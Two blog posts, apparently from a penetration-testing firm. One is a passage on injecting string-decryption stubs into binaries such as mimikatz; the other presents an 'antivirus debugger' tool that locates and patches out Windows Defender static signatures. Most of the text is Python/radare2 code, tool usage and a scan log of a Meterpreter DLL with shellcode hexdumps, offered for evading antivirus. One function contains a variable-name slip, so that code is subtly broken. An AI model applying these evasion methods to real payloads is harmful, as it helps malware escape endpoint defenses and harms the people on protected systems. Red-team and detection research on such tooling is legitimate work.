"call rax\n",
"pop rax\npop rdx\npop rcx\n",
"lea rdi, [rip{}]\n",# offset_to_str2 
"ret"]  

Collect virtual addresses

string_offset = string["vaddr"]
section = binary.get_section(TRAMPOLINE_SECTION)
binary_base_address = 0

if g_is_pe:
    binary_base_address = radare_pipe.cmdj("ij")['bin']['baddr']

new_data_address = binary.get_section(".data").virtual_address
new_decrypt_address = binary.get_section(DECRYPT_SECTION).virtual_address
new_text_address = binary.get_section(".text").virtual_address

Load the string in rdi


# load string in rdi
offset_to_str = hex(binary_base_address+section.virtual_address-string_offset)

# the execution flow can either be diverted upwards or downwards
offset_to_str = adjust_signedness(offset_to_str)

# size of the patch to update the string's offset
crt_ins_size = get_instructions_size(proper_assembly[0], [offset_to_str])
offset_to_str = hex(binary_base_address+section.virtual_address-string_offset+crt_ins_size+previous_block_sz)
offset_to_str = adjust_signedness(offset_to_str)

# put everything together
assembly  = proper_assembly[0].format(offset_to_str)

Load the string

# load string size
str_size = string["length"]
assembly += proper_assembly[1].format(str_size)

Call the decryption routine

# call decrypt_function
sections_offset = section.virtual_address - new_decrypt_address
crt_ins_size = get_instructions_size(assembly + proper_assembly[2], [adjust_signedness(sections_offset)])
offset_to_decrypt_section = hex(sections_offset + crt_ins_size + previous_block_sz)
offset_to_decrypt_section = adjust_signedness(offset_to_decrypt_section)
assembly += proper_assembly[2].format(offset_to_decrypt_section)
assembly += proper_assembly[3]

Load the original instruction and restore the original control flow


# load original instruction
offset_to_str2 = binary_base_address+section.virtual_address-string_offset
offset_to_str2 += get_instructions_size(assembly+proper_assembly[5], [offset_to_str])
offset_to_str2 += previous_block_sz
assert(original_instruction["mnemonic"] == "lea") # todo: handle more cases

Then, it is important to recover the original register used to reference the string, and update its value with the string’s new address:

first_operand = original_instruction["opex"]['operands'][0]

assert(first_operand["type"] == "reg")
dest_reg = first_operand["value"]
assembly += f"lea {dest_reg}, [rip{adjust_signedness(offset_to_str2)}]\n"

Now, it is simply a matter of returning to the original instruction. The final code can be assembled with keystone.

# return to original instruction
assembly += proper_assembly[-1]
encoding, _ = ks.asm(assembly)

Update the binary with these patches

current_content = section.content[:previous_block_sz]
section.content = current_content + encoding

# write the new binary to disk
binary.write(BINARY+".patch")

Generate the decryption routine

Binary carving and code injection

The goal here to locate the decryption routine previously generated and carve it out, and then inject it into the target binary.

To carve it out, we will use symbols to locate the function by its name. For ELF files, the lief API get_static_symbol did the job, wheras it did not work for PE files. No worries though, using radare2 it is almost as easy. Then, lief offers the API get_content_from_virtual_addresss, which allows to copy the bytes making up the decryption routine.

def strip_function(name: str, binary: lief.ELF.Binary):

    address = 0 # offset of the function within the binary
    size = 0 # size of the function

    if binary.format == lief.EXE_FORMATS.ELF:
        symbol = binary.get_static_symbol(name)

        address = symbol.value
        size = symbol.size

    # lief does not appear to be able to locate function by name in PE files.
    elif binary.format == lief.EXE_FORMATS.PE:
        
        r2 = r2pipe.open(STUB)
        r2.cmd("aaa")
        all_functions = r2.cmdj("aflj") # enumerate functions as JSON
        matching_functions = []

        for fn in all_functions:

            if name in fn['name']:
                logging.info(f"Found function matching '{name}': {fn}")
                matching_functions += [fn]
        
        if len(matching_functions) > 1:
            logging.warn(f"More than 1 function found with name {name}. Bug incoming.")
        
        address = matching_functions[0]['offset']
        size = matching_functions[0]['size']

    else:
        raise Exception("Unsupported file format")

    function_bytes = binary.get_content_from_virtual_address(address, size)
    return function_bytes, address, size

Then, inject it as follows:


def add_section(original_binary):

    r2 = r2pipe.open(BINARY)
    strings = get_strings(r2)
    nb_strings = len(strings)

    # :(
    if g_is_pe:

        section = original_binary.get_section(".rdata")
        section.characteristics = lief.PE.SECTION_CHARACTERISTICS.MEM_WRITE | lief.PE.SECTION_CHARACTERISTICS.MEM_READ# make the section writable :O
        

        section = lief.PE.Section(DECRYPT_SECTION)
        section.characteristics = lief.PE.SECTION_CHARACTERISTICS.CNT_CODE | lief.PE.SECTION_CHARACTERISTICS.MEM_READ | lief.PE.SECTION_CHARACTERISTICS.MEM_EXECUTE
        content,_,_   = strip_function("decrypt", lief.parse(STUB))

        section.content = content
        section = original_binary.add_section(section)

        # ...

Results in practice

In practice, it is not possible to encrypt 100% of the strings in a binary:

  • Strings identification by the most advanced binary analysis frameworks is incomplete.
  • Cross-references are incomplete.
  • Strings may be declared within arrays, and such scenarios the cross-reference points to the beginning of the array.

So, while we could encrypt around 2000 strings within mimikatz, Windows Defender still detected the binary statically. It’s quite a shame to encrypt that many strings and miss the only 5 strings that actually trigger the detection, mais c’est la vie.

Future work

To improve this tool and allow it to actually circumvent antivirus software, more advanced analysis should be performed on the binary, in order to identify more cross-references and handle scenarios where a cross-reference points to a collection of strings rather than the string directly. There are some treasures in the floss codebase, and probably some of the problems they solved while making their tool could be helpful here as well.

Or, one can embrace the current limitations and only encrypt strings which are definitely going to trigger the antivirus, hoping they are not located within an array ;o

Automatically extracting static antivirus signatures

By: plowsec
5 April 2022 at 09:42

This blog post accompanies the talk we gave at Insomni’hack 2022. The source code as well as the slides can be found at:

https://github.com/scrt/avdebugger

Introduction

What can we do when a tool that we use during pentest engagements becomes detected by antivirus software?

For a long time, the answer was: use a packer. After a while it was all about making your own “packer” or relying on paid ones. These days however, we encounter more and more security software that perform memory scans, and we are not particularly fan of maintaining several tools, one for antivirus X and one for antivirus Y, etc.

So, as usual we looked for a solution as generic as possible and came up with the tool that is the subject of this blog post. In the meantime, the community came up with similar solutions, but we believe our solution is sufficiently different to still be of some value to the community.

Tooling

Without further ado, our tool is open-sourced on GitHub and can be used as follows:

$ python3 antivirus_debugger.py -h                                                                                                                                                       
usage: antivirus_debugger.py [-h] [-s] [-z] [-f FILE] [-e] [-l LENGTH] [-c SECTION] [-g]

optional arguments:
  -h, --help            show this help message and exit
  -s, --skip-strings    Skip strings analysis
  -z, --skip-sections   Skip sections analysis
  -f FILE, --file FILE  path to file
  -e, --extensive       search strings in all sections
  -l LENGTH, --length LENGTH
                        minimum length of strings
  -c SECTION, --section SECTION
                        Analyze provided section
  -g, --globals         Analyze global variables in .data section

Implementation

This section describes the design choices that were realised along the way and lays out the theory needed to understand why we did it that way.

The usual AV theory

McAfee said in 1988 that the “problem of computer virus is temporary and will be solved in the next 2 years”. Obviously the prediction was off by a few centuries but I think it’s a bit ironic to develop antivirus software, so software that analyse other software, and not know about the Rice theorem. In any case, security software will always struggle to implement an algorithm that discriminates between good or malicious programs without making mistakes, and the theoretical proof of that assertion go back to Turing’s machine, so there is that.

In view of this, all the work we do to circumvent antivirus capitalises on that. Still, some of them can be pretty painful to evade, and that is because they are stacking detection mechanisms.

Here is a diagram of the situation:

As you can see, the poor payload has to go through all these tests in order to survive and be able to express its full potential. Luckily for us, each of these has flaws that we will exploit separately to achieve full remote code execution without detection:

Static detection bypass

Signatures

Remove every identifiable artefacts or merely bypass the static signatures.

Emulation / sandbox execution

Detect the detector and take it for a/several (processor) spin(s), with for instance, an infinite loop. That will teach it, because maybe they don’t know about the Rice theorem but surely they have heard of the halting problem.

Dynamic detection

Well here it gets a little more complicated, but as of 2022 all the concepts are now well documented:

  • Memory scans: remove static artefacts such as strings, constants and API imports.
  • Userland instrumentation: blind the antivirus software by removing its datasource.
  • Kernel-land instrumentation: blend in with the crowd or load your own driver to nuke some kernel object.

An important quote

I was told in school that the best way to produce bug-free software was to “assume nothing” and test “everything”. While I’m very grateful for this lesson since it has served me well ever since, I would like to add that when you’re on the other side and you are facing a software made by someonelse, assume that they did not, in fact, “assume nothing”. Assume that they did not test, that they were lazy or even ignorant of the basis. Then, test your theories.

While I began the research on Windows Defender, the rumours at the time were as follows:

  • “Yeah sure it sucked for a while but recently they added artificial intelligence.”
  • “You can’t have a RWX section because any antivirus will catch that”.

Spoiler: it did not at the time, and it does not today either. I assumed that Windows Defender still sucked, be it in the same way or worse than its competitors, and I assumed that if it was capable of detecting a freshly generated Meterpreter payload wrapped with custom encoders, it had to be because a malicious artefact was glaring in its face, and I set out to find out what it was.

Methodology

When a payload is detected by an antivirus software, there are some quick tests that can be performed to pinpoint the detection mechanisms used (in relation to the schema above).

  • File hash signature: change a byte.
  • Dynamic detection: keep the whole codebase but insert an infinite loop somewhere, so that the program is really benign. If the file is still detected, then the detection happens because the antivirus shortcuts its analysis due to some artefacts statically available. If not, then the detection happens while the payload executes.

If thats’s the case, there is no reason to think it’s more complicated than memory scans or userland hooks, so keep calm and try to eliminate every possibility one by one.

Applying this methodology on Windows Defender soon helped me understand that the detection was most of the times due to static elements, although the scans happened at several levels in the payload’s execution.

The previous blog posts address the dynamic detection issues, and this one solves the problem of static signatures, which is twofold:

  • Sometime rebuilding the payload is more troublesome than just changing the part where the signature is located, especially for complex payloads with lots of dependencies.
  • For Windows Defender alone, we observe new signatures for the payloads we use in a relatively short timeframe. It’s likely they have automated the process on their end, so in response we should probably do the same.

Proof that antivirus are “still early”

Let’s take the side of people who might think antivirus are advanced software and see how AV vendors should implement their algorithm to match these expectations.

Artificial intelligence is magic

Let’s say the antivirus is full sentient and able to predict with IA that a file is malicious without executing it. For that to work, the analyst would need to feed the algorithm thousands of malware and make it look at the artefacts in the executable that could play a role in the program’s behaviour, which are:

  • Executable’ structure: look for anomalies.
  • Imported functions: look for commonly used API for commiting mischief (SetWindowsHookEx for instance)
  • Embedded resources (for instance hidden executable or high entropy binary blobs, which could be encrypted malware waiting to invade the system).
  • Strings

To check that, we just to do some quick tests:

  • The executable’s structure looks off to the antivirus: make it look like a normal executable and re-scan. You don’t need a corrupt PE to evade the antivirus.
  • Imported functions: these are located in the .idata section of a PE file. Remove the section and see if the antivirus still detects the binary.
  • Embedded resources: remove the sections .rsrc and custom ones as well.
  • Strings: remove the .data and .rdata sections.

For each of these tests, if the antivirus still detects the binary, with the same verdict, then it is looking somewhere else, which invalidates the importance of the tested criteria.

If the strings were helpful to the AV, then one can remove them. Strings are for humans, malware don’t need strings.

If the imported functions give out the program’s behaviour, then the AV assumes that a program must declare the API it uses to do its job, and the problem goes away with GetProcAddress and function pointers.

We can go on like this for each of the detected artefacts, the point is that in case the AV looks for static artefacts, then it is not “really” predicting the program’s behaviour, it’s extrapolating and that can easily be broken.

The antivirus just “sees” that your algorithm looks harmful and is doing no good to this world

Ok, fine. For that to work, the antivirus performs a perfect decompilation of the malware, isolates custom functions from library code, and then classifies each as benign and malicious. Notwithstanding the fact that IDA Pro is 30 years old and still requires manual intervention for function identification in complex software should speak for itself, let’s assume the AV is more advanced than the most advanced reverse-engineering framework out there.

To test that, simply carve out the .text section of a binary and replace it in the analysed malware, and then re-scan it. If the antivirus still detects it, then that was not the issue. If not, then you should identify which function triggers the antivirus, and here a simply binary search would work as well. And even then, I would be skeptical that the function actually is the root cause for the detection, I would rather expect that some stack strings and shellcode is embedded in the .text section and is seen by a scanner that does not perform any decompilation. After all, even with IDA Pro’s FLIRT signatures, you have to have the exact library version with the exact compiler’s version and the exact ABI. Similar products or tools face similar issues.

The antivirus emulates the file and sees what it’s doing

Windows defender actually embedds an emulator in mpclient.dll. However, there are more advanced ones publicly available and they don’t work for complex software, so I don’t expect an antivirus to perform better in this field either. But let’s assume they do and simply insert an over-engineered infinite loop at the program’s entry point. The emulator should choke on it and report the file as benign, and then you can capitalise on that to implement an anti-emulator check. If not, they have solved the halting problem and we can all go flip burgers at McDonalds’.

Automate static signatures identification

By now I hope I have convinced you antivirus are enhanced versions of “grep” and you might wonder what to make of it all. The initial approach was rather naive: perform a binary search of the sequence of bytes that could be detected by the antivirus engine. While it certainly provided results, it was suboptimal:

  • This method does not account for the executable file’s structure. If the PE becomes corrupted, the antivirus engine may stop anaylzing it and consider it benign, which produces a false positive in our analysis. To our knowledge, every tool that offers automated signatures identification as of 2022 are simple like that.
  • The approach is insufficiently precise: for optimisation we might decide to implement a minimum length for the sequence of bytes, for instance we chunk the file in parts each time smaller, but never less than 256 bytes. In case the antivirus triggers on a 5-bytes long sequence, we might still be confused about the real signature’s content.
  • The approach is unoptimised: there are 50+ antivirus out there and each are suboptimal in their own way. So, the automated analysis should quickly identify which kind of detection it is.

Enter Antivirus Debugger

To account for all the elements explained above, our algorithm works as follows:

Take a malware and assert that it is detected by the target AV. Without breaking the PE, iteratively zero out each of its sections and look for significant variations in the scan time or signature name.

This test allows to pinpoint a section that, if zeroed out, prevents the antivirus to understand it’s looking at malware, but in case the AV implements a scoring system and there are several signatures spread out across several sections, you will miss them. To fix that, one might want to perform the same method but inverted: zero-out every section, and then iteratively restore sections one by one.

Then, depending on the detected sections, there is a dedicated method to locate the signatures.

Code section

In case the code section is detected, you could either fall back on a binary search of a byte sequences but limited to the boundaries of the code section, or identify functions boundaries and locate the one detected by the AV, and then looking for static data in it.

We never faced this situation so we’ll focus on the other ones.

.data section

By convention, this section holds the global variables for the program. Our analysis implements a heuristic algorithm to enumerate global variables and their size, and then we binary search the results by zeroing out some of them.

.rodata section

In this section there are mainly strings used by the program. Here a binary search capitalising on strings boundaries works quite well.

.rsrc

Did you embedd a big, high entropy blob of data? Then remove it to ensure that it is in fact causing the detection, and then simply hide it with more care.

Others

Fall back on a binary search on raw binary data.

Automated scans

The aforementioned tests require a way to scan binaries several times. So many times that doing it by hand is not desirable. We implemented a custom VirusTotal in our lab on top of VMWare’s vmrun commandline tool, but for Windows Defender there is a better way thanks to taviso and its awesome loadlibrary project.

Implementation

The tool is written in Python and relies on radare2 or rizin with r2pipe for the binary analysis part. Patching can be done with radare2 as well, but due to some bugs we developed an alternative method without dependencies as well.

Global variables identification

Beware that the following method is purely heuristic and is by no mean an accurate way of recovering global variables in software. An accurate algorithm was not necessary to evade the antivirus we were facing so we took the shortcut here.

This analysis is useful when the target antivirus detects something in the .data section. Global variables are expected to be put there by the compiler. To detect most of them, one can argue that it suffices to process cross-references to a given address present in the .data section. Of course that is not always true because it is more complicated than that. Luckily for us this assumption will do just fine for our use case.

With r2pipe, one can extract the XREFS as JSON with the following code:

pipe = r2pipe.open(pe.filename)
pipe.cmd("aaa")
xrefs = pipe.cmdj("axj") # get cross-refs as JSON
xrefs = [x for x in xrefs if x["type"] == "DATA"] # keep only xrefs to data
xrefs = sorted(xrefs, key=lambda x: x["addr"]) # sort by address

Next, to guess the size of each variable, we’ll do another simplification and assume the compiler did not waste any space and that radare2 did not miss any cross-reference (Spoiler: it often misses some), and thus the size of a variable is equal to the address of the next minus the address of the current variable under analysis:

# guess var' size
for index, xref in enumerate(xrefs):

    if index >= len(xrefs) - 1:
        size = 256  # too lazy to handle this edge case
    else:
        size = xrefs[index + 1]["addr"] - xref["addr"]

    vars += [Variable(xref["addr"], size)]

Where Variable is a dataclass defined as follows:

@dataclass(unsafe_hash=True, eq=True, order=True)
class Variable:

    addr: int
    size: int
    paddr:int = 0


    def display(self, pe):

        with open(pe.filename, 'rb') as f:
            f.seek(self.paddr)
            bf = f.read(min(self.size,128))

        logging.info("\n"+hexdump.hexdump(bf, result="return"))

With the code shown above, it is possible to identify variables with a zero size, so one should prepare for that by giving it the next variable’ size.


# fix vars with size 0
for i, var in enumerate(vars):

    for j, var2 in enumerate(vars):
        if i == j:
            continue

        if var.addr == var2.addr:
            if var.size == 0:
                var.size = var2.size

            elif var2.size == 0:
                var2.size = var.size

This produces duplicates, that one can pythonically filter as follows:

# uniq sort
vars_filtered = sorted(list(set(vars)), key=lambda x: x.addr)

Then, the last filtering takes care of variables whose address are outside the .data section boundaries, and once that’s done, each result can be updated with the correct file address with respect to the virtual address:

# only vars in .data section
section = next((sec for sec in pe.sections if sec.name == ".data"), None)
vars_filtered = [x for x in vars_filtered if section.vaddr <= x.addr < section.vaddr + section.vsize]

# guess file address with virtual address
for var in vars_filtered:
    var.paddr = var.addr - section.vaddr + section.addr

Strings identification

Here, r2pipe is also used with izzj, but you should know that it might not provide the same results as other binary analysis software.

pipe = r2pipe.open(filename)
pipe.cmd("aaa") # trigger the whole program analysis
strings = pipe.cmdj("izzj") # find all the strings in every section

string_refs = []

for string in strings:

    if string.get("size") < min_length:
        continue

    # collect
    str_ref = StringRef()
    str_ref.index = string["ordinal"]
    str_ref.paddr = string.get("paddr")
    str_ref.vaddr = string.get("vaddr")
    str_ref.length = string.get("length")
    str_ref.size = string.get("size")
    str_ref.section = string.get("section")
    str_ref.encoding = string.get("type")
    new_encoding = convert_encoding(str_ref.encoding)
    # skip first whitespace
    content = string.get("string").replace("\\\\", "\\")
    str_ref.content = content  # .encode(convert_encoding(str_ref.encoding))
    string_refs += [str_ref]

Parsing a PE’ sections

radare2 offers the command iS to recover information about a PE’ sections:

section_size = 0
section_addr = 0

pipe = r2pipe.open(pe.filename)

# get the sections
sections = pipe.cmdj("iSj")

for section in sections:

    if section.get("size") != 0 and section.get("addr") != 0:
        pe.sections += [
            Section(
                section.get("name"),
                section.get("size"),
                section.get("vsize"),
                section.get("paddr"),
                section.get("vaddr")
            )]
        logging.debug(f"Found section: {pe.sections[-1]}")

Binary patching

In the context of this article, binary patching means zero’ing a sequence of bytes, which is pretty simple:


def hide_bytes(pe, start, length, use_r2=False):
    logging.debug(f"Hiding {length} bytes @ {start}")
    
    if use_r2:
        pipe = r2pipe.open(pe.filename, flags=["-w"])
        replacement = ''.join(random.choice(string.ascii_letters) for i in range(length))
        replacement = base64.b64encode(bytes(replacement, "ascii")).decode()
        pipe.cmd(f"w6d {replacement} @ {start}")
    
    else:
        # for some reasons the code above is buggy with my radare2 version, so here is a workaround
        with open(pe.filename, 'r+b') as f:
            f.seek(start)
            f.write(bytes(''.join(random.choice(string.ascii_letters) for i in range(length)), encoding='ascii'))

It suffices to seek at the correct address and write some zeros. However this gets more complicated with strings of different encodings, so that’s why r2pipe was initially used: strings encodings are collected and every operation on the string inside the binary must account for the string’s encoding. For instance, UTF-8 strings have 2 bytes par character.

This poses a problem when writing the string back in place after the string analysis, but to tackle this problem r2pipe’s ability to write base64-encoded content with a provided encoding saves the day:

def patch_string(filename, str_ref, pipe=None, unmask_only=False, use_r2=True):
    
    if pipe is None:
        pipe = r2pipe.open(filename, flags=["-w"])

    if not str_ref.should_mask:
        replacement = str_ref.content
    elif not unmask_only:
        replacement = ''.join(random.choice(['\x00']) for _ in range(str_ref.length))
        replacement = replacement + '\0'
    else:
        return

    logging.debug(f"Patching {str_ref.content} @ {str_ref.paddr} ({filename})")

    if use_r2:
        eplacement = base64.b64encode(bytes(replacement, convert_encoding(str_ref.encoding))).decode()
        pipe.cmd(f"w6d {replacement} @ {str_ref.paddr}")

    else:
        # weird bug with r2 on macOS. Code below is not correct in all cases but is a workaround
        with open(filename, 'r+b') as f:
            f.seek(str_ref.paddr)
            f.write(bytes(replacement, encoding=convert_encoding(str_ref.encoding)))

The rest of the code is not commented further in this blog post because it comprises binary search algorithms over these artefacts, and interval trees to filter the overlapping results, none of which too complicated to deserve a lengthy explanation.

Example for metsrv.x64.dll

Disclaimer: our metsrv.x64.dll is patched with some goodies to evade other antivirus and with a custom reflective loader, but the signatures identified later on also cause detection in the original one, except there are even higher score artefacts that should be taken care of first.

python3 antivirus_debugger.py -f /tmp/metsrv.x64.dll -g                                                                                                                           
[DEBUG   ][2021-08-28 17:11:47,317][pe_utils.py:134] get_sections() :: Found section: Section(name='.text', size=132096, vsize=135168, addr=1024, vaddr=1820594176, detected=False)
[DEBUG   ][2021-08-28 17:11:47,318][pe_utils.py:134] get_sections() :: Found section: Section(name='.data', size=9728, vsize=12288, addr=133120, vaddr=1820729344, detected=False)
[DEBUG   ][2021-08-28 17:11:47,318][pe_utils.py:134] get_sections() :: Found section: Section(name='.rdata', size=6656, vsize=8192, addr=142848, vaddr=1820741632, detected=False)
[DEBUG   ][2021-08-28 17:11:47,318][pe_utils.py:134] get_sections() :: Found section: Section(name='.pdata', size=5120, vsize=8192, addr=149504, vaddr=1820749824, detected=False)
[DEBUG   ][2021-08-28 17:11:47,318][pe_utils.py:134] get_sections() :: Found section: Section(name='.xdata', size=5632, vsize=8192, addr=154624, vaddr=1820758016, detected=False)
[DEBUG   ][2021-08-28 17:11:47,318][pe_utils.py:134] get_sections() :: Found section: Section(name='.edata', size=512, vsize=4096, addr=160256, vaddr=1820782592, detected=False)
[DEBUG   ][2021-08-28 17:11:47,318][pe_utils.py:134] get_sections() :: Found section: Section(name='.idata', size=8192, vsize=8192, addr=160768, vaddr=1820786688, detected=False)
[DEBUG   ][2021-08-28 17:11:47,318][pe_utils.py:134] get_sections() :: Found section: Section(name='.CRT', size=512, vsize=4096, addr=168960, vaddr=1820794880, detected=False)
[DEBUG   ][2021-08-28 17:11:47,318][pe_utils.py:134] get_sections() :: Found section: Section(name='.tls', size=512, vsize=4096, addr=169472, vaddr=1820798976, detected=False)
[DEBUG   ][2021-08-28 17:11:47,318][pe_utils.py:134] get_sections() :: Found section: Section(name='.reloc', size=512, vsize=4096, addr=169984, vaddr=1820803072, detected=False)
[DEBUG   ][2021-08-28 17:11:53,705][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp59yh6tr3...
[DEBUG   ][2021-08-28 17:11:53,706][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:11:53,706][scanner.py: 99] scan() :: EngineScanCallback(): Threat SLFPER:Win32/Meterpreter!ApiRetrieval identified.
[DEBUG   ][2021-08-28 17:11:53,706][scanner.py: 99] scan() :: Threat found
[INFO    ][2021-08-28 17:11:53,921][antivirus_debugger.py:161] global_vars_analysis() :: Applying patches
[INFO    ][2021-08-28 17:11:53,977][antivirus_debugger.py:167] global_vars_analysis() :: Simple check: maybe a single global variable is detected
[DEBUG   ][2021-08-28 17:11:55,183][pe_utils.py:324] detect_data() :: [Variable(addr=1820729376, size=4608, paddr=133152), Variable(addr=1820733984, size=32, paddr=137760), Variable(addr=1820734016, size=32, paddr=137792), Variable(addr=1820734048, size=32, paddr=137824), Variable(addr=1820734080, size=32, paddr=137856), Variable(addr=1820734112, size=608, paddr=137888), Variable(addr=1820734720, size=289, paddr=138496), Variable(addr=1820735009, size=111, paddr=138785), Variable(addr=1820735120, size=16, paddr=138896), Variable(addr=1820735136, size=32, paddr=138912), Variable(addr=1820735168, size=992, paddr=138944), Variable(addr=1820736160, size=2016, paddr=139936), Variable(addr=1820738176, size=32, paddr=141952), Variable(addr=1820738208, size=32, paddr=141984), Variable(addr=1820738240, size=160, paddr=142016), Variable(addr=1820738400, size=32, paddr=142176), Variable(addr=1820738432, size=32, paddr=142208), Variable(addr=1820738464, size=128, paddr=142240), Variable(addr=1820738592, size=96, paddr=142368), Variable(addr=1820738688, size=4, paddr=142464), Variable(addr=1820738692, size=4, paddr=142468), Variable(addr=1820738696, size=4, paddr=142472), Variable(addr=1820738700, size=4, paddr=142476), Variable(addr=1820738704, size=4, paddr=142480), Variable(addr=1820738708, size=12, paddr=142484), Variable(addr=1820738720, size=192, paddr=142496), Variable(addr=1820738912, size=96, paddr=142688), Variable(addr=1820739008, size=16, paddr=142784), Variable(addr=1820739024, size=16, paddr=142800), Variable(addr=1820739040, size=16, paddr=142816), Variable(addr=1820739056, size=2576, paddr=142832)]
[DEBUG   ][2021-08-28 17:11:55,183][pe_utils.py:331] print_global_variables() :: Found 4608 bytes variable @ 0x6c862020:
[DEBUG   ][2021-08-28 17:11:55,184][pe_utils.py:335] print_global_variables() ::
00000000: 09 00 00 00 00 00 00 00  D0 13 84 6C 00 00 00 00  ...........l....
00000010: 00 00 00 00 00 00 00 00  00 00 01 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  01 00 00 10 00 00 00 00  ................
00000060: E0 13 84 6C 00 00 00 00  00 00 00 00 00 00 00 00  ...l............
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,184][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c863220:
[DEBUG   ][2021-08-28 17:11:55,184][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 65 61 74 65  61 68 72 61 61 64 61 78  aaareateahraadax
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,184][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c863240:
[DEBUG   ][2021-08-28 17:11:55,184][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 61 74 65 61  69 61 74 61 61 6C 61 65  aaarateaiataalae
00000010: 6D 61 72 61 00 00 00 00  00 00 00 00 00 00 00 00  mara............
[DEBUG   ][2021-08-28 17:11:55,184][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c863260:
[DEBUG   ][2021-08-28 17:11:55,184][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 65 61 74 65  61 68 72 61 61 64 61 78  aaareateahraadax
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,184][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c863280:
[DEBUG   ][2021-08-28 17:11:55,184][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 61 74 65 61  69 61 74 61 61 6C 61 65  aaarateaiataalae
00000010: 6D 61 72 61 00 00 00 00  00 00 00 00 00 00 00 00  mara............
[DEBUG   ][2021-08-28 17:11:55,184][pe_utils.py:331] print_global_variables() :: Found 608 bytes variable @ 0x6c8632a0:
[DEBUG   ][2021-08-28 17:11:55,185][pe_utils.py:335] print_global_variables() ::
00000000: FC 80 79 10 00 0F 85 13  01 00 00 C6 41 10 01 48  ..y.........A..H
00000010: 83 EC 78 E8 C8 00 00 00  41 51 41 50 52 51 56 48  ..x.....AQAPRQVH
00000020: 31 D2 65 48 8B 52 60 48  8B 52 18 48 8B 52 20 48  1.eH.R`H.R.H.R H
00000030: 8B 72 50 48 0F B7 4A 4A  4D 31 C9 48 31 C0 AC 3C  .rPH..JJM1.H1..<
00000040: 61 7C 02 2C 20 41 C1 C9  0D 41 01 C1 E2 ED 52 41  a|., A...A....RA
00000050: 51 48 8B 52 20 8B 42 3C  48 01 D0 66 81 78 18 0B  QH.R .B<H..f.x..
00000060: 02 75 72 8B 80 88 00 00  00 48 85 C0 74 67 48 01  .ur......H..tgH.
00000070: D0 50 8B 48 18 44 8B 40  20 49 01 D0 E3 56 48 FF  [email protected] I...VH.
[DEBUG   ][2021-08-28 17:11:55,185][pe_utils.py:331] print_global_variables() :: Found 289 bytes variable @ 0x6c863500:
[DEBUG   ][2021-08-28 17:11:55,185][pe_utils.py:335] print_global_variables() ::
00000000: FC 48 89 CE 48 89 E7 48  83 E4 F0 E8 C8 00 00 00  .H..H..H........
00000010: 41 51 41 50 52 51 56 48  31 D2 65 48 8B 52 60 48  AQAPRQVH1.eH.R`H
00000020: 8B 52 18 48 8B 52 20 48  8B 72 50 48 0F B7 4A 4A  .R.H.R H.rPH..JJ
00000030: 4D 31 C9 48 31 C0 AC 3C  61 7C 02 2C 20 41 C1 C9  M1.H1..<a|., A..
00000040: 0D 41 01 C1 E2 ED 52 41  51 48 8B 52 20 8B 42 3C  .A....RAQH.R .B<
00000050: 48 01 D0 66 81 78 18 0B  02 75 72 8B 80 88 00 00  H..f.x...ur.....
00000060: 00 48 85 C0 74 67 48 01  D0 50 8B 48 18 44 8B 40  [email protected]
00000070: 20 49 01 D0 E3 56 48 FF  C9 41 8B 34 88 48 01 D6   I...VH..A.4.H..
[DEBUG   ][2021-08-28 17:11:55,185][pe_utils.py:331] print_global_variables() :: Found 111 bytes variable @ 0x6c863621:
[DEBUG   ][2021-08-28 17:11:55,186][pe_utils.py:335] print_global_variables() ::
00000000: 83 C4 50 48 89 FC C3 00  00 00 00 00 00 00 00 00  ..PH............
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 55  ...............U
00000020: 89 E5 56 57 8B 75 08 8B  4D 0C E8 00 00 00 00 58  ..VW.u..M......X
00000030: 83 C0 2B 83 EC 08 89 E2  C7 42 04 33 00 00 00 89  ..+......B.3....
00000040: 02 E8 0F 00 00 00 66 8C  D8 66 8E D0 83 C4 14 5F  ......f..f....._
00000050: 5E 5D C2 08 00 8B 3C E4  FF 2A 48 31 C0 57 FF D6  ^]....<..*H1.W..
00000060: 5F 50 C7 44 24 04 23 00  00 00 89 3C 24 FF 2C     _P.D$.#....<$.,
[DEBUG   ][2021-08-28 17:11:55,186][pe_utils.py:331] print_global_variables() :: Found 16 bytes variable @ 0x6c863690:
[DEBUG   ][2021-08-28 17:11:55,186][pe_utils.py:335] print_global_variables() ::
00000000: 24 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  $...............
[DEBUG   ][2021-08-28 17:11:55,186][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c8636a0:
[DEBUG   ][2021-08-28 17:11:55,186][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 65 61 74 65  61 68 72 61 61 64 61 78  aaareateahraadax
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,186][pe_utils.py:331] print_global_variables() :: Found 992 bytes variable @ 0x6c8636c0:
[DEBUG   ][2021-08-28 17:11:55,186][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 61 74 65 61  69 61 74 61 61 6C 61 65  aaarateaiataalae
00000010: 6D 61 72 61 00 00 00 00  00 00 00 00 00 00 00 00  mara............
00000020: 00 37 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  .7.l............
